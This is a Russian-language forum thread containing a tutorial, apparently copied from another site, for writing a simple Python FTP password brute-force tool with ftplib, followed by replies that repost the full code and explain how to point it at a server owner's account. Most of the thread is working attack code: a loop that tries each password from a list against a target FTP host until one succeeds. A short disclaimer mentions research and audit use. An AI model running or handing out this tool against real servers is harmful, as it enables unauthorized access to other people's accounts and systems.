Это руководство по ****форсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python. Полный код состоит всего из 20 строк, и инструмент достаточно прост. Создайте новый файл Python Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству. Импортируйте FTPlib FTPlib – это стандартная библиотека, используйте ее. Запишите следующий фрагмент кода в свой файл Python. from ftplib import FTP Список паролей Инструмент ****а должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-). Создайте строковое значение, которое позволит вам указать местоположение вашего password_list. Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку. password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru" Цикл. Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент ****а FTP на Python. Добавьте следующую строку кода: def start(): setx = [] f = open(password_list) setx = f.readlines() Продолжаем добавлять цикл и шаги входа в систему: for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password) Запуск. Последний шаг, который мы сделаем, – это добавим start() в конец кода Python. start() Конечный результат: from ftplib import FTP #options password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru" def start(): setx = [] f = open(password_list) setx = f.readlines() for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password) start() ¯\_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ. Примечание 2: Статья не самописная, скопировал с другого сайта. https://itsecforu.ru <= на этом ресурсе взял статью и там же еще можно найти списки паролей.
vova2525 from ftplib import FTP # options password_list = "passwords.txt" username = "anonymous" target = "host" def start(): setx = [] f = open(password_list) setx = f.readlines() for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd=password) print("Success:", str(password)) break except Exception as e: print("Fail:", str(e), " [X]-> ", password) start() Code from ftplib import FTP # options password_list = "passwords.txt" username = "anonymous" target = "host" def start(): setx = [] f = open(password_list) setx = f.readlines() for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd=password) print("Success:", str(password)) break except Exception as e: print("Fail:", str(e), " [X]-> ", password) start()
AIexa, емае( спасибо, это моя первая статья, поэтому много ошибок, но в будущем буду писать нужные и актуальные темы, буду работать над этим
YA_RUKOZHOP Смотри, ты в переменную password_list указываешь путь к списку паролей, после этого в переменную user: ник человека, под которым хочешь зайти(например хозяин сервера), потом в переменную target айпи или ссылку на сервер, после чего запускаешь код и он начинает перебирать пароли из указанного спика и не остановиться пока не подберет верный пароль.